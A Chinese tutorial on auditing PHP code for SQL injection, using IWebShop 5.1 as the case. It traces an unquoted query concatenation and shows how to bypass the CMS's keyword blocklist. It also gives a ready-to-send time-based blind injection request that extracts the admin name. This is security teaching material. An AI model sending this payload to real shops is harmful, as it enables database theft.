PHP 代码审计之死磕 SQL 注入
Posted 信安之路
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了PHP 代码审计之死磕 SQL 注入相关的知识,希望对你有一定的参考价值。
代码审计中对 SQL 注入的审计是很常见的,那么要怎样才能审计出一个 SQL 注入呢?
作为新手,最为常见的方法当然是,死磕——也就是一一排查代码中存在 SQL 增删该查的地方,寻找注入点。当然,死磕也必须掌握一定方法,不然会耗费时间且收效甚微。下面是我个人总结的死磕流程,仅供参考
本篇以 IWebShop5.1 为例,来看一下我的审计过程:
通过前期的漏洞信息收集和查看功能代码等,我们了解到该 CMS 在 IReq 类中写了获取变量的方法,在 IFilter 类当中写了用来过滤的方法。来看下该 CMS 通篇都会使用到的 act 方法:
publicstaticfunctionact($str,$type='string',$limitLen=false)
{
if(is_array($str))
{
$resultStr=array();
foreach($stras$key=>$val)
{
$key=self::addSlash($key);
$val=self::act($val, $type, $limitLen);
$resultStr[$key] =$val;
}
return$resultStr;
}
else
{
//引用IValidate校验类协助过滤
if(method_exists("IValidate",$type))
{
$result=call_user_func(array("IValidate",$type),$str);
return$result==true?$str: "";
}
//引用正则表达式
if(preg_match("%\W%",$type[0]) ==true)
{
$type=trim($type,$type[0]);
returnIValidate::check($type,$str) ?$str: "";
}
switch($type)
{
case"int":
returnintval($str);
break;
case"float":
returnfloatval($str);
break;
case"text":
returnself::text($str,$limitLen);
break;
case"bool":
return(bool)$str;
break;
default:
returnself::string($str,$limitLen);
break;
}
}
}
防护代码比较长,效果也非常不错,正确使用的话基本不会问题。该过滤的方法的第二个参数指定了过滤的形式,如果第二个参数传入 string 或不传,将对变量内容进行转义。
好,关键点来了,如果接收传入的参数后,进行的是转义操作,一旦程序员后面在拼接 SQL 语句时并没有加引号限制,就会导致 SQL 注入。于是,我们就可以死磕这样一个可能的漏洞点去翻代码
根据情况,使用编辑器的全局正则匹配IFilter::act\(.+'string'\)
和IFilter::act\(.+[^']{1}\)
(正则写得差请不要介意),翻前台代码找,毕竟前台 SQL 危害大。然后做代码跟进,直到 SQL 语句的部分
这里找到这么一处,代码:/controller/seller.php:1498
publicfunctioncategoryAjax()
{
$id =IFilter::act(IReq::get('id'));
$parent_id=IFilter::act(IReq::get('parent_id'));
if($id&&is_array($id))
{
foreach($idas$category_id)
{
$childString=goods_class::catChild($category_id);//父类ID不能死循环设置成其子分类
$id
接收的内容最后进入goods_class::catChild
,进入查看:
publicstaticfunctioncatChild($catId,$level=1)
{
...//省略代码
$result=array($catId);
while(true)
{
$id=current($result);
if(!$id)
{
break;
}
$temp=$catDB->query('parent_id = '.$id);
看到没,最后一行$catDB->query
中拼接时忘记添加引号,是不是很开心,翻了那么多代码终于找到一个注入点。接着就是考 SQL 知识的部分了,该系统自己写了个比较烂的防注入:
publicstaticfunctionword($str)
{
$word=array("select ","select/*","update ","update/*","delete ","delete/*","insert into","insert/*","updatexml","concat","()","`","/**/","union(");
foreach($wordas$val)
{
if(stripos($str,$val) !==false)
{
return'';
}
}
returnself::removeEmoji($str);
}
这里对 select 的过滤仅仅是匹配了两种形式,我们完全可以使用select%0a
、select(
等多种方式绕过值得吐槽的还有后面那个()
。这种防注入代码一般开始审计时就需要注意,防得很严的情况下会影响到漏洞点的方向。
漏洞利用
1、注册商家账号,后台审核通过(复现可直接后台添加商家),然后需要在商品分类处添加一个分类用于时间盲注
2、前台登陆商家管理,构造类似如下数据包
URL:
/index.php?controller=seller&action=categoryAjax
POST:
id[]=0 and if(ascii(substr((select%0aadmin_name from admin),1,1))%3d97,sleep(10),1)&parent_id=0
(此处的表名 admin 不需要添加前缀,CMS 会自动添加)
当然,使用 sqlmap 跑盲注更加方便:
总结
再列两个可能造成 SQL 注入的漏洞点,及编辑器中搜索的关键字:
直接写或拼接的 SQL 语句,全局正则匹配
['"]{1}[select|update|insert|delete]
SQL 操作函数中存在可能漏洞点,例如 Thinkphp 中的 where 函数,全局正则匹配
where\(.+[\$\.]
作为新手,多读代码,切忌急于求成,最后愿喜欢代码审计的新手朋友们,终成大佬!
以上是关于PHP 代码审计之死磕 SQL 注入的主要内容,如果未能解决你的问题,请参考以下文章